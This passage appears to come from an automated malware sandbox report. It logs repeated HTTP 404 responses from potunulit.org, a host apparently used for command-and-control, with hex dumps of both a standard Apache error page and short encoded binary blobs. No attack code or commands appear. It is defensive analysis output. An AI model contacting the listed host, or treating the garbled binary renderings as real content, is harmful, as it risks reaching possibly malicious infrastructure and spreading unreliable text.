68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kH5AcqsUhPISIi4TTiDf1wWzmO0xyGSAGEBHcOpuqBE4pPiy15rPw%2BapgS7NSLPR7%2Bt3LVwerWelNGz9oOwj9Ou9dOJagBlxMm%2B6oWS2lp%2BfJ4QtwEyDGnApX6mmRIGu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5353b286cbbc7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 49 c0 5f 88 1a 85 a2 4e fb 79 be 3a 4a 4e 32 e2 28 01 7c 89 0d 0a Data Ascii: 27Uys/~(`:I_Ny:JN2(\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PqLP4aMd5JNjE%2BgHkJgDqGXtiIHFdFG2V7Z5GETsmA1ysYiClTHSs4VHS%2FLZpIkhQy5xTBK2kygZuRpZ92%2B47hAe7TlTq9dxqfbZjrjib4xpE5LnzfFU1oTfD2WJ4j1U"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5354fe93a92a8-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=40FqQMScMOH2k%2B3UZ6nVtfDaDXbrYdCn8cQWagKvq0SaQ%2BKdflyKx1LPYAhj22cGxP8uD85OI%2FSxaawQQ1wnsEkpL6QWvrD4cSen0%2BIr9x3s99rl%2F%2FG5pKbXN337TlRw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53550ea4692a8-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 9a 1d d8 47 c7 fb 19 ed 2a fe 27 0a 5d 3b bf 64 11 6d 80 5c 67 0e 61 d4 0d 0a Data Ascii: 2cUys/~(`:G*'];dm\ga
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3KCIacPHlQD1DIUtcb8JX3F9DNAa5HGpOmhTZFTq7vqfE1Er9aIn%2Fz92px6sJJ5FgwyuoJACfn5r2SitZJc3KTcZO14Kt4q1qi1k5WaiPXrr98apsiYSiph%2BmuC5k8lQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53577daf0bbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FynfnmQ5SgfQjcaXHUbYNeONNcBeQJY%2BldwIizMAtDVxY%2BRLTGPRi8g03lP1%2BVfy119tG4OY%2BoN1QQ2hmzF3K9xTcTYTHVlTnjQPVgvR8%2FHui2ZRaUMhK4Keul9j%2Fr%2FT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53578dc30bbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 34 63 37 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 fd 05 9c 5b e4 9a 8a 32 48 ca 71 fe 94 59 ad 3d 0f cb 0e 1c 60 67 40 34 9c 7f 92 bf d5 a9 ab fd ad a4 6f 8b 34 81 cf 8a c8 b0 5d f2 3b ab c9 30 6a bc 20 b1 f3 f8 a5 e6 56 4b 78 13 b5 20 43 8d 6d 90 5f 68 ae 68 d5 9b 18 5d 5d 95 9e cb 81 1e bf 6c 13 d9 75 bc c0 84 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 9b 78 d4 77 d7 07 53 53 fa cb 1f 9e fd 09 50 2a ee 8c 8a 7b 7e 09 fd ff 78 c5 73 db c4 0d 13 13 86 50 e1 92 24 18 4f c5 03 c1 c1 a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 da c5 96 be 21 51 61 ae 7d 32 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 9f b2 ee 0e c0 eb 7e 71 eb 40 db 1a 58 29 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 bb 1a b9 ae e3 cc 23 92 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 2b f8 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d ab 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d 21 d5 8e 82 11 e8 e4 1f 12 ab 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 70 9a a2 ce 57 a3 08 45 a1 1f d4 3c 62 91 9c 37 06 f1 2c 0e a4 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 fc 0b 8a 8b e1 a2 54 d7 9c 3c c2 e0 2b c7 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 e3 a2 bc 5b 6f e3 e3 1c eb 18 f5 52 48 44 0a 96 4d f1 e7 17 3f fe e9 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6c 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 Data Ascii: 4c7`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG[2HqY=`g@4o4];0j VKx Cm_hh]]lu3Ob>!ZC:>xwSSP{~xsP$Oa~i~]D
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oDh9coMNDM%2FRvAcJzdtwypC5EUC0BjHGm6I27RhbXpu%2BecjytOwoPmvvXWw%2BhCLibl14LT49skCWXPmYgaoe49uuaNDj%2Fh25IMKJB8uENwQS8giCvk8%2FC8AGRV%2FdQv%2Fc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5357c4891bbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FCwXIq7MGheoE2%2BJAbsPu4UyOjvuj%2FQhU6SnVnfn4JaY7fcrVUcyXIFKe%2Fv32FgtWXYN575PSzyiSHLRUCjrrJ%2BO3LPtUMc3hs1b2fg4ZujckWdL%2BXsXmUggTiGHCknN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5357d0981bbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 33 31 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 01 d4 51 d6 fa 01 a1 67 f2 25 48 17 32 f7 29 10 69 9c 17 20 05 7d d4 b5 ca ac dd 34 0d 0a Data Ascii: 31Uys/~(u:RQg%H2)i }4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2AvliHPssinGsUAEvozU8YR0ICD4bEjyNxekg1T5XoKSczSUlF8IdkeC0Sn5%2FR%2FST8r89Mc%2FpRFghmfuofqcTzKmHwhSuOjKfjNRrpCt3JuXsNT1sTJYM9HD%2FLmR0RY7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53581af2ebbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vJK9qJQ%2FgFfldGscfje9Qn8DKgAhPzxKnExLlAtt53jhdyXLZn0RxwJlHFspFEr55uM9LNf%2BlYu7Wg8%2B5a0mzKpKNU8Gh69fiQmuBadePL83Mpf7qNKZIRLXU4kH%2Fq7%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535823fe2bbe6-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 49 c0 5f 88 1a 85 a2 4e fb 79 be 3a 4a 4e 32 e2 28 01 7c 89 0d 0a Data Ascii: 27Uys/~(`:I_Ny:JN2(\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B%2FFFIgChDkl8QzaDVhM86NfU%2FIvTYremnZvSb%2F8t0EAMBe5Nad4ASBUdKMRBCcOuCfbpZZ%2FZcq45hMvyPg%2FJBLWhMtfM3Uu13gvF0m8KCIUhfCMka7%2BfXWfvi4KmnHmw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53590cb1618d9-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lpKO0Q%2BGFTsc2ZA1yovKXLMsk%2BvMF%2Bt1Rl%2BShF175nlZsn3lTOAS88F10ECI%2B2fPMlJ%2B1RSM23rFUwS1rIKB5nCgMZ7ardZKnfw9pSSywEgnYCCi9HP9pLNyYUwuqejm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53591bc6a18d9-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 9a 1d d8 47 c7 fb 19 ed 2a fe 27 0a 5d 3b bf 64 11 6d 80 5c 67 0e 61 d4 0d 0a Data Ascii: 2cUys/~(`:G*'];dm\ga
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PLskyGVAKJPcth%2BqMNRXs9MrMOCzV4Y3TivkUaRuRR1EhK2s%2BYA0I0mYD%2FkXHfQJTYYJKLONYJe%2FVqC88z5%2F2IqtlBggjwzTCvQyCW8Nsw9rAqy7vRdlUnycXAnso8SX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535a6eb1b9954-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>

